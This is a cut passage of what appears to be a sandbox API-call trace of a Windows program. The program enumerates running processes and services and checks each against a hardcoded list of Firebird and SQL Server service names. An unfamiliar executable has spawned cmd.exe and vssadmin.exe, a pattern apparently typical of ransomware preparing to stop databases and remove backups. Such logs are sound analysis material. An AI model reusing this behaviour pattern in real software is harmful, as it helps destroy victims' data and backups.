(lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0251.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0251.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0251.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0251.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0251.461] lstrlenW (lpString="Schedule") returned 8 [0251.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0251.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0251.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0251.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0251.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0251.461] lstrlenW (lpString="SecurityHealthService") returned 21 [0251.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0251.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0251.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0251.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0251.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0251.461] lstrlenW (lpString="SENS") returned 4 [0251.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0251.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0251.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0251.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0251.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0251.461] lstrlenW (lpString="ShellHWDetection") returned 16 [0251.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0251.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0251.461] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0251.461] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0251.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0251.462] lstrlenW (lpString="Spooler") returned 7 [0251.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0251.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0251.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0251.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0251.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0251.462] lstrlenW (lpString="StateRepository") returned 15 [0251.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0251.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0251.462] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0251.462] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0251.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0251.462] lstrlenW (lpString="SysMain") returned 7 [0251.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0251.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0251.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0251.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0251.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0251.462] lstrlenW (lpString="SystemEventsBroker") returned 18 [0251.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0251.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0251.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0251.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0251.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0251.462] lstrlenW (lpString="Themes") returned 6 [0251.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0251.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0251.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0251.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0251.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0251.463] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0251.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0251.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0251.463] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0251.463] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0251.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205e48 | out: hHeap=0x670000) returned 1 [0251.463] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x534 [0251.469] Process32FirstW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.470] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.470] lstrlenW (lpString="System") returned 6 [0251.470] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.471] lstrlenW (lpString="smss.exe") returned 8 [0251.471] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.471] lstrlenW (lpString="csrss.exe") returned 9 [0251.471] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.472] lstrlenW (lpString="wininit.exe") returned 11 [0251.472] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.473] lstrlenW (lpString="csrss.exe") returned 9 [0251.473] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.473] lstrlenW (lpString="winlogon.exe") returned 12 [0251.474] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.474] lstrlenW (lpString="services.exe") returned 12 [0251.474] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.475] lstrlenW (lpString="lsass.exe") returned 9 [0251.475] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.475] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0251.475] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.476] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0251.476] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.476] lstrlenW (lpString="svchost.exe") returned 11 [0251.476] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.477] lstrlenW (lpString="svchost.exe") returned 11 [0251.477] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.477] lstrlenW (lpString="dwm.exe") returned 7 [0251.478] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.478] lstrlenW (lpString="svchost.exe") returned 11 [0251.478] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.479] lstrlenW (lpString="svchost.exe") returned 11 [0251.479] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.479] lstrlenW (lpString="svchost.exe") returned 11 [0251.479] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.480] lstrlenW (lpString="svchost.exe") returned 11 [0251.480] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.480] lstrlenW (lpString="svchost.exe") returned 11 [0251.480] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.481] lstrlenW (lpString="svchost.exe") returned 11 [0251.481] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.481] lstrlenW (lpString="svchost.exe") returned 11 [0251.481] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.482] lstrlenW (lpString="svchost.exe") returned 11 [0251.482] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.482] lstrlenW (lpString="svchost.exe") returned 11 [0251.483] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.483] lstrlenW (lpString="svchost.exe") returned 11 [0251.483] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.484] lstrlenW (lpString="spoolsv.exe") returned 11 [0251.484] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.484] lstrlenW (lpString="svchost.exe") returned 11 [0251.484] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.485] lstrlenW (lpString="audiodg.exe") returned 11 [0251.485] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.485] lstrlenW (lpString="sihost.exe") returned 10 [0251.485] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.486] lstrlenW (lpString="svchost.exe") returned 11 [0251.486] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.486] lstrlenW (lpString="taskhostw.exe") returned 13 [0251.486] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0251.487] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0251.487] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0251.487] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0251.488] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0251.489] lstrlenW (lpString="Memory Compression") returned 18 [0251.489] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.489] lstrlenW (lpString="explorer.exe") returned 12 [0251.489] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.490] lstrlenW (lpString="SearchUI.exe") returned 12 [0251.490] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.490] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0251.490] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.491] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0251.491] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.491] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0251.491] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0251.492] lstrlenW (lpString="finbbp.exe") returned 10 [0251.492] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0251.492] lstrlenW (lpString="cmd.exe") returned 7 [0251.493] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.493] lstrlenW (lpString="conhost.exe") returned 11 [0251.493] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0251.494] lstrlenW (lpString="vssadmin.exe") returned 12 [0251.494] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0251.494] lstrlenW (lpString="consent.exe") returned 11 [0251.494] Process32NextW (in: hSnapshot=0x534, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0251.495] CloseHandle (hObject=0x534) returned 1 [0251.495] Sleep (dwMilliseconds=0x1f4) [0252.601] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa740 [0252.601] EnumServicesStatusExW (in: hSCManager=0x41aa740, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0252.602] GetLastError () returned 0xea [0252.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c4a) returned 0x4205e48 [0252.602] EnumServicesStatusExW (in: hSCManager=0x41aa740, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205e48, cbBufSize=0x1c4a, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205e48, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0252.604] CloseServiceHandle (hSCObject=0x41aa740) returned 1 [0252.604] lstrlenW (lpString="Appinfo") returned 7 [0252.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0252.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0252.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0252.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0252.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0252.604] lstrlenW (lpString="AppXSvc") returned 7 [0252.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0252.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0252.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0252.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0252.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0252.604] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0252.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0252.605] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0252.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0252.605] lstrlenW (lpString="Audiosrv") returned 8 [0252.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0252.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0252.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0252.605] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0252.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0252.605] lstrlenW (lpString="BFE") returned 3 [0252.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0252.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0252.605] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0252.605] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0252.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0252.605] lstrlenW (lpString="BITS") returned 4 [0252.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0252.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0252.605] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0252.605] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0252.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0252.605] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0252.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0252.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0252.605] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0252.605] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0252.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0252.605] lstrlenW (lpString="CDPSvc") returned 6 [0252.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0252.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0252.606] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0252.606] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0252.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0252.606] lstrlenW (lpString="ClickToRunSvc") returned 13 [0252.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 